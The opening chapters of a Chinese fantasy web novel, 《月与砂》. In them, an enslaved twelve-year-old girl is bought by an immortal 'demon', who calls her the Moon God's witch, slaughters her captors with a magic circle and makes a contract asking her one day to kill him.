《月与砂》 第1章 相遇 灰色的砖墙上有一扇小小的方窗,被两根铁栏分成三格。清晨淡薄的日光从窗口落在生锈的铁镣上,反射出模糊的银光,像一片未散尽的月色。 艾玛已经醒了,或者说,因为寒冷,本就没敢睡着。 每年都有很多人会死在这样的低温里,死在多一堆稻草、多一条毯子就能抵御的冬天的尾声。 她身上只有一件单薄的布裙,站起来时裙摆甚至不能覆过膝盖,但那些看守们很满意,认为这样简陋的打扮确实藏不起什么能撬锁的小玩意儿。 日头开始升起,窗外遥远的人声跟着逐渐热闹。门锁上的铁链哗啦啦响了一阵,昭示着这座奴隶市场今日的营业开始。 隔壁哭了一晚上的女孩还在断断续续地呜咽,不知道是想到了家人、朋友还是其他的什么东西。 艾玛抱着膝盖,听着她沙哑的泣音发了好一会儿愣,什么也没能想到。 艾玛的父亲是个普通的小商人,和做这行的大多数人一样,怀着一夜暴富进而加官进爵的野望,但始终没能交到什么好运。 他所有稳定的资产不过一间小屋、一驾马车、一位干体力活的男仆和两位处理家庭杂务的女仆。而艾玛的母亲是那个家里唯二的女仆之一。 也就是说,她是个不光彩的私生女。 家里的夫人不厌其烦一而再再而三地告诉她,以施恩的语气,强调艾玛还能隐藏私生女的身份,作为女仆、奴隶、她父亲的资产之一,留在这个家中不被遗弃的原因: 一则当然因为夫人的宽容大度,二则艾玛的母亲极力恳求,三则——艾玛有一双天生的金色的眼睛。 金色的眼睛很罕见,是个吉兆。 并且,有着这样一双眼睛的孩子,大概率具备着魔法的才能。 人们对魔法并不陌生。身边某家商店的老板或许就会使用“让衣服更保暖”“让水果更饱满”这样实用但又不起眼的小小法术。 而像传闻故事里称颂的、被人们崇拜和敬畏的那些**师就少之又少了,传说他们能呼风唤雨、点石成金、知晓过去未来……人们对那些荒谬和夸张的想象乐此不疲。 有关魔法来源和使用的说道五花八门,但从没有过统一的定义。一些幸运儿或许会在某天突然学会什么法术,但这能力仿佛一种直觉和本能,就像动物也很难向人解释如何用四肢着地的方式高速奔跑。 那些才能出众的魔法师,更会收到富豪贵族们的招揽雇佣,得到钱财地位和种种好处,也就使得有关魔法的知识进一步被垄断。 即使如此,也有一点是作为常识被人们所普遍认同的: “不论种族地域,每个孩子只有在降生在世上的第十二年,‘魔法的才能’才会在他身上开始展现。十二岁之前,无论在魔法上是天才还是庸人,都无从判别。” 但也不是完全无迹可寻。比如艾玛的父亲便对她的价值有一种聪明的认知: 他和艾玛的母亲都只是普通的人类,没有什么特殊的血统,那么艾玛才能的上限也是可以预计的——即使真有天赋,也绝不会太高。 因此他致力于在合适的时机将艾玛这笔生意做成价格合适的一锤子买卖,从未指望这个私生的污点能有什么光耀门楣的过人成就。 而到底要在她十二岁之前还是之后将她转手,这事让他苦恼了很久。 奴隶交易由来已久,懂行的人都知道其中的门道。 十二岁之前谁都看不出魔法天赋的高低,即使卖家根据各种偏门的判别方式说得再信誓旦旦天花乱坠,十二岁后没能展现出才能,被投机失败的所有人怒而遗弃或低价转售之类的例子也比比皆是。 因此冲着魔法天赋来选拣奴隶的,越富有的买主越会从已满十二岁的孩子中挑选,依据其才能支付合适的价格。 而艾玛的父亲仍然唯恐她的才能只是一场空欢喜的假象,不敢等到她十二岁后,又担心她确有才能,太早放手而要低了价格。 那么他最终不得不被迫提早作出决断而省去烦恼的力气,或许也值得庆贺。 在艾玛八岁那年,她的父亲因为生意上的失败,在极度缺钱时以一个不那么让他满意的价格将她卖给了下一位投资人。 艾玛对此并没有太多感想。只是第一次,她对于母亲在前年因病离世这件事感到一些庆幸。 那之后艾玛的生活也没有太大变化,只是换了个更大的房子做打扫的工作,换了个人计较她可能带来的利益。 年岁逐渐增长,她离十二岁越来越近,又在这时跟着买主跨过沙漠去行商。 而这之后发生的事也很好理解。这类生意之所以具有那样丰厚的利润,正因为它也有着与其相匹配的高昂风险。 沙漠强盗洗劫了他们的商队,杀光了具有反抗能力的人,而像艾玛这样的奴隶,和那些染血的赃物一起被当做商品送到城镇上的地下市场,置换物资与金银。 这样乏善可陈的过去,确实没什么值得留恋。 艾玛并不想哭泣,也没有哀叹。她天生有一种异于常人的平静,在许多人看来是一种迟钝和麻木。 艾玛并非不理解在自己身上发生的一切,也没有她父亲所以为的那样单纯和天真。 “将来带走你的人会把你培养成一个厉害的魔法师”这种漂亮的谎话,街边三岁的小孩都不会相信。 他们的母亲会在他们淘气时指着街角阴暗的建筑恐吓,不听话的小孩会被强盗抓走卖掉,被可怕的巫师抽出血液,挖掉眼睛,做成诡异的药剂。 就像她父亲曾对她做的计较,艾玛也暗自对自己的价值做过评估。 血液,骨头,或者她那双被人夸奖的眼睛,即使她没有才能,将这些部分拆出来,或许也能换到一个不错的价格。 她从未说过自己有这样的想法,因为据她所见,许多人害怕死害怕到不愿听见它在别人嘴里被提及。 她乐观的母亲说死亡并不可怕,这或许只是她不久于人世时对女儿的一种安慰,但艾玛确实相信了。 只是,她仍然为母亲的死感到难过,这感觉不讲道理。 艾玛平静地等待着这一场估价的结束。她在这座市场里隐约看到了这十多年疑问的回答,一种命运的出口。 但无论结果是死亡,还是另一场更漫长的价值评估,又有什么值得着急或期待呢? 总有一个明天会带来答案,又或者在下一个明天到来前,今天就会有一个结果了。 旧皮鞋摩擦着地面的声音烦躁地踱到她面前,看守不耐烦的呼喝伴着铁门被打开的哐当声响起:“喂,你!出来!” 艾玛跟着两个看守走出关押的房间,走向交易市场的深处。身边的声音从嘈杂到稀疏,渐渐听不见了。 她太安静和顺从,以致看守们也放低了对她的警惕。 其中一人便按捺不住地向另一个询问起来:“怎么回事?平时不都是让客人去笼子那边自己挑的?是来了什么大人物?” “嗐,别提了!”被提问的那个显然一肚子火,逮到机会便开始大声抱怨,“是个神神叨叨的家伙!戴着斗篷,样子看不太清。我问他要什么货,他理都不理!直接过去就跟头儿说要西边第三间最里头这个金色眼睛的丫头。嗐,真他妈奇了怪了!他自己又没进来看过,怎么知道关在那儿的是他要的?” “还有这种事?”那人闻言诧异地回头多看了艾玛两眼,同样满腹疑惑,“西边第三间……那里的应该还没满十二岁,也看不出成色。头儿怎么说?” “头儿也纳闷呢!报了个高价唬他,那小子直接给了报价的十倍,眼都不眨!” “嘶……这么大方,怕是有什么来头,得罪不起吧?” “他一个人来的,不像贵族。头儿跟他说要再验一次这丫头的成色,让我们先把货带到,等会儿让那怪人先自己看看。” “咦?这么光明正大,也不像头儿的作风啊。要是验完货那人觉得配不上这么高的价,那……” 答话的看守得意起来:“你看看这条路,猜咱们要去哪儿?” 另一人一愣,回过神来:“头儿的意思是——” 看守压低了声音:“你知道咱们头儿看人的眼力——他说那小子八成是个潜逃的巫师,对手边的箱子宝贝得紧,更值钱的东西恐怕还在里头。头儿说想先看看这丫头到底有什么特别之处,等那小子验完,我们就——” 他比了个抹脖子的手势。 “这不好吧?”同伴有点紧张,但眼睛已经亮了起来,“巫师不好对付,这场子又是我们借的,这么做怕是不合规矩……” “嗐,怕什么!我们这儿厉害的法师也不少,哪怕那帮子歪门邪道的巫术。规矩从来是死的,只要没人知道,谁还能让它活过来不成?” 艾玛沉默地听着他们的谋划。 那位神秘的买家真是不幸,莫名其妙地选中了她,又莫名其妙地被人觊觎上了财富。 虽然许多官方政府已经出台了直接保障交易双方权利的商业法律,但仍然有诸多限制,更重要的是,它所规范的仅限于能上台面的正当交易。 像这样的“地下市场”到处都有。在这里交易的人,有的是因为商品罕见,想借此漫天要价大赚一笔;有的是因为东西来路不正,不好被深究;也有的是想隐藏身份踪迹,躲避某些人。 东家为“市场”提供场地,要在此售卖的商人则必须向东家缴纳费用。只要守规矩不闹事,便没人问你的来路。 但说是这里“有规矩”,那规矩跟一张废纸也没什么区别。只要保持大家心照不宣的默契,别把事情闹大到东家都下不来台就行。 地下交易里流动的利益太过丰厚,从中也捞得了好处的官方对此睁一只眼闭一只眼。艾玛原本所在的小城上也有这样的建筑,普通市民都绕着那儿走。 而艾玛面前这些“卖家们”,就是那些洗劫了她所在商队的强盗中的一拨。 在这样的强盗窝里轻易展露财富,不是后台太硬,便是嫌命太长。 这样简单的道理连艾玛也明白。但艾玛也只在心里叹息了一下。 地下市场的凶险不言自明,会在这里交易大多不是什么好人。艾玛还没有同情心过剩到为一位素未谋面的巫师盲目担心。 巫师啊……艾玛想,他们提到那位神秘的买家是个巫师。 人们很难说清巫师和魔法师的差别,一样是能使用魔法的厉害人物。但人们说,魔法师的才能是上天赐福,巫师却是逆天改命、不择手段、坏事做尽。 街边与艾玛相熟的爱讲故事的小贩说得活灵活现,巫师如何挖出可怜人的心脏,割下纯洁羊羔的头颅,加上奇奇怪怪的药草,倒进锅里熬煮,然后做出强大的魔药,凭借这得来不正的力量胡作非为,最后被正义的魔法师打倒…… 真真假假的小道传闻为这些夸张的故事增添了几分可信。 所以艾玛也认为,巫师大约确实是那种会为了逆天改命而不择手段、坏事做尽的恶人。 看守们将艾玛带到房间前,打开门,把她推了进去。房间里巨大的窗户占了大半个墙面,明亮的日光洒在灰暗的地砖上,灰尘将光线吞没了。 身后门砰的一声关上,房间里就剩下艾玛一个人。 她看向窗户,不知道它朝向哪里,外面和房间里一样空荡荡的。 艾玛向房间中央走了走,环顾周围,靠墙的地方有桌椅,还有一些她不知道用途的道具。 其中有几样她倒是见过,在到市场的第一天就有人拿着那些东西过来,给“商品们”挨个测试。他们评定一个人像评估一块秤上的肉的价值。 在轻飘飘的光里,很少见的,艾玛产生了一些轻飘飘的,紧张般的晕眩。 手脚上生锈的铁镣贴着身体久了,也被体温稍稍捂出一些温度,但赤着的双脚怎么都暖和不起来。艾玛想起她出生的那座叫做麦诺的小城,每年春天的时候也仍然冷得刺人。 母亲说往南,还是往北的地方?她在许多方面上是有点糊涂的,对方向的辨别还没有艾玛清晰,每次说起都指着不同的方向。 母亲抱着她,说,总之远一些的地方,春天的时候应当是很暖和的。 艾玛是个比她聪明的,幸运的孩子,她一定能去到很远的地方。 在晚冬发凉的空气里,艾玛想,她大概最后还是没能走到更远的……有温暖春天的地方。 房间沉重的石门被推开了,艾玛从发愣里回过神,看向门口。进门的是个身形高挑的男人,披着斗篷,看不清容貌。 他随手关上了门,没有其他人跟着进来。 这大概就是那位神秘的买家。 艾玛此前从未见过巫师,虽然听过许多的故事,但太夸张的传闻有时反而不叫人害怕,更让人好奇。 她初步想道,这身行头确实符合故事里对于巫师的刻板印象。 男人将视线放到她身上,停顿了两三秒,手指穿过斗篷的领结,松开了系带,暗红色的长发从兜帽中倾泻出来。 他向艾玛走来,艾玛还没能看清他的样子,就感觉一道阴影兜头落下——厚实的织物落到她肩上,覆盖了她单薄的布裙,温暖地包裹了她。 男人解开自己的斗篷披到了她身上。他的个子实在很高,单膝跪在艾玛面前时正好能和她平视。 他的眼睛是暗红色的。 艾玛看着他展露在光下的双眼,试图用苍白的语言形容。好像玛瑙石的断面。 男人打好了斗篷系带的结,托起她的手。艾玛感觉手腕一轻,那对生了锈、看起来却仍然坚固的铁镣无声地断裂了,坠落进他手心。 脚上的铁镣沉默地化成了齑粉,从艾玛脚腕上的瘀痕滑落。 “初次见面,很荣幸见到您,女巫殿下。”他微笑着说,“我叫西里斯,您可以这么称呼我。” 特意挑在生日开文给自己做个纪念,本来设置了定时发布,但第一次发文没改好排版格式,多调整了几次,当作攒经验了! 祝各位阅读愉快—— 作者有话说 显示所有文的作话 第1章 相遇 第2章 恶魔 “‘女巫’?”艾玛反问,因为久未开口,声音异常干涩,沙哑得像一道回声。 “用最简单的说法,您可以理解为:女巫是由神明直接选定的,最有天赋的魔法师。选中您的是……月神。” 西里斯看着她的眼睛,温和地重复了一遍,“您是月神的女巫。” 月神。艾玛对这位神明不陌生。 世上有魔法,同时许多人相信着,世上存在着带来魔法的神明。 至于神明具体是怎么样的,又有哪几位是确切存在的,众说纷纭,没有统一的论调。 人们认为神明会庇佑其信徒,或赐予信徒魔法的才能天赋,四处有人创立宗教,宣扬学说。 人在有所欲求时总想要点好兆头,在低谷时也需要个对象来指望,所以即使心里并不相信,从众地选个神明来信仰也没什么损失。 艾玛的父亲就是那类并不诚心但求个好彩头的信徒。他在家里放了一尊财富女神的石头神像,神像表面镀着层金。 每个月他会去参加财神教堂的宣讲和集会,捐点奉献,回来的路上顺道去赌点小钱。 而艾玛的母亲信仰的就是月神。 他们居住的小城太小,那里没有月神的教堂。但月神的信仰在整片大陆上遍及,是神明信仰的主流之一。许多人认为月神是最可能实际存在的神明之一。 艾玛的父亲对此不以为然,他认为信仰月神百无一用。想要向财富女神求得什么,一目了然,但月亮又能给人带来什么实际的好处? 母亲没有当面反驳任何话,但是晚上又悄悄地跟艾玛说,她看见月亮就感到心里安宁。 艾玛出生的那个夜晚有很亮的月光,照到她身上时,连分娩的疼痛都减轻了不少。 艾玛其实并不信什么神明。但许多地方都有这样的传统:孩子们会在十二岁前宣誓信仰某位神明,祈求神赐予才能和庇佑。 虽然后来改变信仰或不把其当回事的人比比皆是,总归在那时,这做法能让人多两分指望。 比起像财富女神那样功利的信仰,艾玛更愿意跟着母亲信仰月神。 父亲倒也没多说什么,那套“月神很可能真的存在”的理论多少打动了他,反正信仰谁不是碰个彩头。 母亲每天晚上入睡前都会在窗边祈祷,喃喃念着一些细碎的愿望。 她在“愿望说出来就不灵了”和“不说出来神明可能听不到”之间动摇,所以有时候念有时候不念。 艾玛总是跟着她祈祷,但她想不到任何需要神来替她实现的愿望,也可能是并不相信祈祷有用,因此只是安静地望着空空的月光。 只有母亲病重的那段时间,她真的开始向神许愿。可母亲最后还是死了。 因此,艾玛认为,意料之中的,世上大概真没有什么神明。 西里斯看着她的目光认真。 艾玛手腕上空荡荡的,好像从未如此轻盈。 该问的话有很多,可她一时间觉得头脑恍惚,所以愣了片刻才回答:“哦,这样啊。” 西里斯对她的冷淡并没有太惊讶:“我可以知道您的名字吗?” 她点一下头:“我叫艾玛。” “好的,‘艾玛殿下’。”西里斯说。 “如果您有任何疑问,之后我都可以慢慢为您解答。刚见面就这么说很失礼,但——我有求于您。” 艾玛想起押送她的看守议论的阴谋。眼前的男人是不是好人仍然难以确定,但怎么看都比那些强盗良善不少。 于是她提醒道:“这里的卖家……他们好像计划杀了你。虽然我帮不上什么忙,你小心一点吧。” “啊……您说那些强盗?”西里斯挑了挑眉,微笑道,“请放心,没有什么比自以为是的蠢货更好对付。我只是准备了一些显眼的陷阱,他们就主动跳进去了。” 艾玛愣了愣:“那……我能帮你什么?” “我希望和您缔结契约。”他的语气平缓,请求的话却说得很肯定,“我将为您实现三个愿望,作为交换,在您的愿望实现之后,请您——” 那双望着她的暗红眼睛燃烧着。 “——杀死我。” 艾玛沉默了一会儿,露出了困惑的表情。 “虽然很突然,但这不会太难理解。” 西里斯拾起扔在一边的铁镣碎片,拉下袖子,向艾玛露出一截手臂。他将锐利的铁片刺进手腕,下划,鲜血顺着铁片和手臂从深深的伤口流出来。 这一切太过突然,艾玛没能反应过来,刚想开口说点制止的话,西里斯已经抽出了铁片。 而他手臂上刚刚产生的伤口以肉眼可见的速度愈合了,只有一些残余的血液从皮肤上滑落,证明那伤口刚才确实出现过。 “如您所见,因为一些特殊的原因,我所受的伤都会很快治愈。对我来说,这非常困扰。我花了很长时间寻找解决的办法,最终找到的唯一解法是:请一位足够强大的女巫杀死我。 “我必须向您坦诚,杀死我并不容易,您或许需要为此搭上性命。所以,也可以说……我向您提出的契约,是想要交换您的生命。 “但我可以向您承诺的是,除了女巫之外,在魔法上,我不会输给任何人。在您成长到足够强大之前,我会保障您的安全。我能实现您的任何愿望,近乎一切。” 他说话的语调并不夸耀,但内容又如此疯狂。那稳定得没有一丝犹疑的叙述,和毫不避让的目光,让人感到一种莫名的信服。 艾玛大概也相信了他的说辞。 她看着西里斯,认真地想了一会儿,带着一种有些动摇和好奇的表情,谨慎地问:“你是……‘恶魔’吗?” 这个提问在西里斯的预料之外,让他也愣了一下。 艾玛认真而小心地补充:“那个……我以前听过,恶魔为人类实现三个愿望,作为交换收下人类的灵魂和生命,这样的故事。嗯……这种故事还挺多的。原来恶魔真的存在吗?” 她揪着眉头,诚恳地说:“有一点,我好奇很久了。为什么你们订下的契约里,都是三个愿望?是3这个数字,有什么很特别的地方吗?” 西里斯沉默了,露出一种似笑非笑的表情。 他低下视线想了一会儿,回答:“在很多地方,包括很多法术中,‘3’这个数字确实很特别,三个并列的要素会提供一种稳定性。约束性越强,效力越大的契约,也往往会简化到‘3’,我希望和您签订的契约也是如此。” “‘恶魔’……我很久没被人这么叫过了。”他扬起唇角,“不过,像您这样不含敌意地称呼,倒是第一次,感觉很新奇。” 艾玛将他的回答认作了肯定,看西里斯的眼神有点不太一样了,大约是从看犯罪嫌疑人的眼神变成了看神话生物的眼神。 “您不害怕恶魔?”西里斯注意到了这变化。 “故事里……很多订下契约的恶魔都好好完成了人类的愿望,但是人类反而后悔了,想办法耍赖,推卸了自己答应好的事情。我觉得耍赖很可恶,不守信用的人类比恶魔还多。相比较下,恶魔好像也不是那么可怕。” “您说得对。人心更可怕。”他的声音低了低,重新牵起艾玛的指尖,“那么……您愿意答应我的提议?” 艾玛从他的语气里听出选择的空间,有些困惑:“我可以拒绝的吗?” “强迫您对我没有任何意义。如果不出于您自身的意志,只是一些威胁和小手段,您不可能成长得比我更强大。女巫也需要学习和成长的时间,一旦契约缔结,我们将会共处很久。要是您对这个契约不满,最终对您和我都没有好处。” 艾玛想了想:“如果我拒绝你,你会对我怎么做?” “我会送您去月神的神殿。女巫非常罕见,您对他们来说也很重要。就当我卖他们一个人情。” 西里斯回答得很自然,看起来早就预想过这样的问题。 但艾玛的表情却严肃起来,好像很认真地权衡着其中的利弊。 她犹豫着,问:“如果……我没法变得像你希望的那么厉害呢?或者,甚至是你看走眼了,我根本不是女巫……” “我不会认错。请相信您自己。”西里斯打断了她犹豫的尾音,“将来您一定会明白,魔法对女巫来说,和普通的魔法师根本不同。” 他从怀里拿出一把匕首。那匕首通体石制,却发出金属般的银光,从刃口到刀柄都雕刻着文字。 “如果您愿意结下契约,请拿住它。” 艾玛接过他递来的刀柄。她不认识字,不知道刀上刻的是哪种语言。 但是刀柄上有个圆,那显然不是文字,与此相对的,刃口画着像是一根有三个枝杈的树枝。 “然后呢?” “握紧它就好,别松开。”西里斯覆住她的手,引导她握住刀柄,将刀尖朝向他自己。 下一刻,匕首刺进了他的心脏。 艾玛却在同时感觉到握住刀柄的右手传来贯穿的剧痛,让她眼前一黑,几乎站不稳。刀刃开始发光,碎裂,点亮了艾玛正在恢复的视野。 她觉得手中一空,刚刚还在那里的石刀已经不见了。 她看向自己的右手手掌,不是错觉,掌心确实有一个血洞。但那伤口的血很快就止住了,痛感不再强烈,只是灼烧般带来阵阵刺痛。 一串洁白的绷带横过她的视野,一圈圈缠绕,盖住了她的伤口。 艾玛抬起头,看向扶住她手的人。 西里斯帮她缠好绷带,抹掉了自己嘴角的血迹,向她露出一个温和的微笑:“您的伤养两天就好了,不会留下后遗症,不必担心。” 艾玛习惯性地抬起自己的右手,按到西里斯胸口上。 左胸口,刚刚匕首刺进的位置。那里的衣料确实破损了,细看布料的颜色也深了一些。但是恶魔的心跳在她指尖清晰地跃动。 “我没事。您看,我说过的,我很难被杀死。”西里斯托住她的手腕,让她受伤的手尽量不要使力。 “这就算……订好契约了?”艾玛迟疑道。 “是的。怎么了吗?” “我还以为……会更……复杂一点?”她找着形容, “故事里一般……要念很长的咒语。还有恶魔报出真名,说一些像宣誓一样的话,什么的。” “故事为了仪式感会这么写。事实上,‘真名’很抽象,并没有什么实际的意义。在契约中,明确的指向对象比一个称谓要可靠多了。” “那‘西里斯’是你的真名吗?” “只要我正在使用它,它可以是我的真名。” 西里斯站起身,伸手揽住她的背脊和腿弯,将她横抱起来,动作很稳。 他刚刚跪了很久,心脏上又刺进了匕首,现在却不见任何疲劳和虚弱。 西里斯的斗篷很长,刚刚站着还没有太明显的知觉,被抱起来时显得它像一条长长的毯子。 艾玛没有鞋子,双脚被冻得发红,它们也被裹进斗篷里,带来温暖的触感。她缓慢地眨了眨眼睛。 “那……我以后就直接叫你‘西里斯’了?” “当然可以。既然契约已经签订,那么以后……”西里斯顿了顿,带上一种微妙的笑意,“我应该称呼您为‘主人’了。” 第3章 愿望 艾玛眨了三次眼睛,大脑才缓慢地开始运转,处理刚刚那句话的意思:“啊?你说谁叫谁?” “我们刚才签订的是主从契约。我作为从者一方,需要为您实现三个愿望,在契约期间理当听从您的命令。恶魔称呼自己的契约对象为‘主人’,不是很正常吗?” 西里斯说话有一种自然的说服力,让人听了就很容易相信。 艾玛想了想,觉得好像是这么回事,但又有种荒谬的违和。但恶魔的血也是红色的,怀抱是温暖的。她有点太累了。 西里斯抱着她向门口走去。艾玛的目光落到门上,突然想起那种违和的原因,她说:“你——买下我,花了多少钱?” 她想起父亲。想起新的买主。想起打量的目光。想起秤砣,刀,血,玻璃瓶,匣子,眼珠,粉末。想起她看不懂的契约书。想起货币坠落的声音和数量。 她想起很多有关无关的事情,没有进食的空空的胃袋绞紧。她因为不具名的疼痛而发抖。 “我……大概值多少钱?”似乎怕前一个问题的答案令人伤心,艾玛又很快地补充了问题,感到嗓子发干。 西里斯已经走到了门前,停下脚步。他注意到艾玛不自然的颤抖。 “您是无价的。”他非常肯定地说,“金钱不可能衡量您的价值。” 艾玛闭上眼睛,深呼吸了一次,伴着呼气发出一句不怎么清晰的问题:“那你付给了他们多少钱?” “啊……那个您不必在意。”她听见西里斯发出一种有些冰冷的笑声,对她说话的语气却是温和的,“那些钱是用来买他们的命的。” “如果您不喜欢见血,等开门之后,请闭上眼睛。” 即使西里斯不说,艾玛也差不多察觉到异常了。 安静得太不同寻常了,他们谈话途中也没有受到任何打扰。此刻靠近门边,她更能清晰地闻到浓郁的——血腥气。 门自动对他们敞开,西里斯抱着她走出去,踩到了地上的血泊。 身首分离的尸体倒在旁边,双眼圆睁着,脸上凝固着惊恐绝望的表情。 西里斯并没有多看尸体一眼,反而艾玛没有避讳,也没有惊慌,在最初的惊讶之后,以一种冷淡而茫然的目光旁观着周遭的死亡。 因为生活环境很糟,不人道的事艾玛见过不少。即使拿最近的来说,商队被洗劫的那一天,她所熟悉的同事也有许多死在了她面前。那之中确有不少是好人,他们远比死在这里的强盗值得可怜。 艾玛再次眨了眨眼睛,从空中看到一根根红线,像是从这片血色里延伸出来的细痕。它们拉直,崩断。在崩断的瞬间,她听见远处传来吵闹的声响,掺着尖叫哀嚎和混乱的哭声。 “你做了什么?”她询问身边的恶魔。 “我在这个建筑周围布置了一个法阵,时间仓促——做了简单的设置,大约是‘杀过多少人,就往自己身上砍几刀。如果记不清了,在没法挥刀以前不能停手’这样的规则。如果在这之后还有人活着,我也不会再追究。”西里斯说,“毕竟他们想对我动手在先,这很公平吧?” “你能这么简单就解决掉他们,为什么还要装成客人?”艾玛将视线放回他身上,“你不是一开始就这么打算的吗?” 符合巫师刻板印象的打扮,刻意装出的紧张焦虑急迫,好像藏着珍宝的空行李箱。艾玛知道和不知道的,那些织成细密的网,引诱贪婪者上钩的利益陷阱。 “法阵的效果布满整座建筑需要时间,我在您身边,能更好地保证您的安全。但我不否认,我带了点私人感情。”他的目光掠过地上的尸体,“虽然贩卖人口并不鲜见,在这样的国家中更是常态,但我个人尤其讨厌这些装成商人的强盗。这算是我的……私心。如果让您不快,我会道歉的。” 艾玛摇了摇头。 “那么,作为见面礼之一,接下来——我会打开这里所有锁住的笼子。嗯,害兽就免了,被法阵规则影响到的囚犯也未必能完整地从笼子里出来,祝他们好运。此外——您在这里有什么朋友吗?或者想见面的,想报复的人?” 艾玛愣了一会儿,听着远处嘈杂的哭声。 “他们出去了的话……该怎么办?”她茫然地说,好像在问西里斯,也好像在问自己,“会怎么样呢?会被抓回来吗?” “谁知道呢?我能为他们做的只有打开笼子上的锁。要不要推开门,走出去,选择逃跑,或者抓住机会争取点什么,都不是我能决定的事情。” 艾玛慢慢地点了点头:“我跟这里关着的人没打过交道,你能做到的话,就让他们离开吧。” 随着话音落下,艾玛再次听见红线崩断的声音。这次是一片一片的红线,数十根,或者上百根红线此起彼伏断裂的声音。 随之传来铁器的碰撞声,惊呼声,尖叫,哭声,生锈的铁门转动的声音。嘈杂的人声。 西里斯抱着她向大门的方向走,那些好像很远的声音重叠着,似乎在某个瞬间离她很近,又轻快地远去了。 艾玛想起牢笼隔壁哭了一晚上的女孩。隔着墙,艾玛甚至没有见过她的样子。但这时候她却忽然想起那个素未谋面的女孩来。 她是为什么值得想念的人或事落泪的呢?艾玛不知道,但她想,那个女孩有去寻找那些东西的机会了。 他们经过那些狼藉,有一些散落在地上,慌乱中未能被捡走的宝石金币,断裂的锁,打开的门,空空的囚笼。 手脚还是很冷,但艾玛觉得心渐渐沉下来,半安定地漂浮着。头脑有点发热,让她感觉一切有点不真实。 自从被强盗劫掠之后,艾玛完全失去了对日期的概念。或许是为了得到更确切的实感,她向西里斯询问:“今天是几月几号?” “光明历1383年2月26日。” “啊……这样……”艾玛的声音低下去。她模模糊糊想起母亲说她是在凌晨出生的,在一天的开始。母亲说,就像艾玛是她生命中幸运的开始一样。 “今天是我的生日……我十二岁了。”她喃喃道。 “难怪,我正好在这附近,今天凌晨忽然确认了到您的存在。真是值得庆贺。您有什么想做的事吗……主人?”西里斯的声音顿住了,疑虑地望向自己怀抱里的女孩。 艾玛闭着眼睛,失去了意识,额头滚烫。 艾玛醒过来的时候,身处一个明亮又宽敞的房间。明亮来源于天花板上的顶灯,窗外下着雨,已经是深夜了。 她从没有睡过这么软的床,身体几乎陷在被褥里。但她也没什么力气挪动,喉咙很烫,手脚发软。 额头上盖着一块冷水洗过的毛巾,没有被体温烤到发热,触感仍然是凉的。 西里斯坐在她床边的椅子上,翻看着什么书。他已经换了身衣服,暗红色的长发在脑后高高束起。脱掉巫师的长袍,换上绅士的服装之后,他看起来正常了许多。 见到艾玛醒来,他合上书,倾身触摸她脸颊的温度。 “还没退热。”他判断道,“要先吃点什么吗?我准备了粥,或者别的?” “我……现在?”艾玛问,声音很哑,喉咙又痛,因此只是简短地出声。 “您发烧了。”西里斯说,“很惭愧,我没有及时发现。我懂一点医术,已经喂您喝过药了。不是什么危急的病,您休养几天就好。” 艾玛懵懵地躺着,懵懵地想了一会儿,说:“我没生过病。” 可能是幸运,或者体质好,即使是照顾生病的母亲时,艾玛也从没有染过病。 这对一个奴隶来说是攸关性命的好运。他们的主人很少会为奴隶花费大量金钱找医生治疗。 “神明会祝福女巫,使其不在十二岁前夭折。无论是经历的事件,疾病,或者别的因素,这也是一种‘命运’。您现在的发热,大概是因为魔法的能力刚刚觉醒,正在适应身体。所以不用太担心。” 艾玛看着天花板上的顶灯,灯光大约调过了,并不刺眼。她想点头,但是躺着会显得这动作很不明显,于是只发出一个平平的单音:“哦。” “要坐起来先喝点什么吗?” 艾玛还是点了一下头:“嗯。” 西里斯帮她垫起枕头,扶着她靠在床头上。 艾玛盯着他递来的热水里漂浮的柠檬片,他确认艾玛有力气拿稳杯子后才松开手。 瓷杯染上了热水的温度,贴在掌心里很舒服。 艾玛喝了两口水,沉默了一会儿,才问:“你不觉得我奇怪吗?” 西里斯问:“您指什么?” “呃,反应很奇怪,之类的吧。我经常被人说‘迟钝’‘傻’‘没劲’什么的。”她说,“呃……我不太擅长说话,或者说,表达。我听别人说话比较多。” “您也不觉得我奇怪,我们扯平了。”西里斯说,“女巫们都很有个性,您这样很正常。” “你认识很多女巫吗?” “有幸和其中几位打过交道,但不算熟悉。” “女巫很常见?” “不,非常罕见。世上确实存在,会选出女巫的神明只有四位,同一个时代最多只可能同时存在四位女巫。女巫去世之后,百年之内,神才会选出下一位继任者。” 艾玛愣了一会儿:“那,我被选中了?为什么?” “没有人知道神选择女巫的标准,女巫在出生的那一刻就已经是女巫了。只是也要等到十二岁后,她们才能够被‘发现’和‘确认’。” “那……你是怎么找到我的?” “按照常理来说,女巫无法被‘预言’和‘卜测’,她们的命格接近神明。但有位占卜师欠了我的人情……赌上寿数替我卜算了您的方位。” “那个占卜师告诉你,‘一个怎么样的人是女巫’吗?” “不,能算出您的大致方位就是极限了,她给的范围很大,时间也非常模糊。真的能够碰上,看来我的运气不错。请相信,看到您第一眼我就能确认,您是月神的女巫。我不会认错。” 艾玛点了点头:“哦。” “我猜您没完全听懂。”西里斯笑了笑,“您身体还没恢复,在这时候讲太多要思考的事只是增加疲劳,我们点到为止吧。将来有的是时间了解。” 西里斯接过她的水杯,端起桌上的粥。看他动作流畅一副接下来要给她喂食的样子,艾玛还是制止了:“我自己来吧……” “我怕您烫到。” “不,我还是会自己吃东西的……” “您不习惯被人照顾。” “嗯……你倒是,好像很习惯照顾人。” 西里斯想了想:“事实上,我不怎么这样做。但这些应该是常识的范畴。” 艾玛没办法反驳,她对所谓的“应该”缺乏了解。 因此在能够独立进食多年后,她第一次接受了靠在床上被人喂食的体验,因为怪异感而如坐针毡。 但粥是甜的,用的应该是很好的小米,煮得刚刚好,温度也正合适。 艾玛吃了两口,慢慢放松了一些。 不知道现在是什么时间了,只看到窗外很暗。 艾玛想了一会儿她听过的故事的流程,稍稍坐正,对着正在收拾餐具的西里斯说:“我现在……是不是应该许愿?” 西里斯看了一眼墙壁,艾玛才注意到那里有个挂钟。 “哦,对,生日愿望。”他说,“‘今天’还没有结束,您有什么想许的愿吗?” “呃,我说的是‘契约’的愿望。那个,故事里一般,订完就要许第一个愿的吧?” “不着急。您可以花很多年许完那三个愿望。可以的话,请不要许完得太早,否则我有点困扰。况且您还在病中,可以等恢复后再好好想想。但‘今天’快过去了。我还没来及送什么像话的见面礼,您就提点想要的东西吧。” 艾玛安静了一会儿,目光落到西里斯放在一边的书上:“你刚刚……在看的是什么书?” “在附近买的当地民俗故事集。您有兴趣吗?” 艾玛点点头:“但是,我不认识字。” 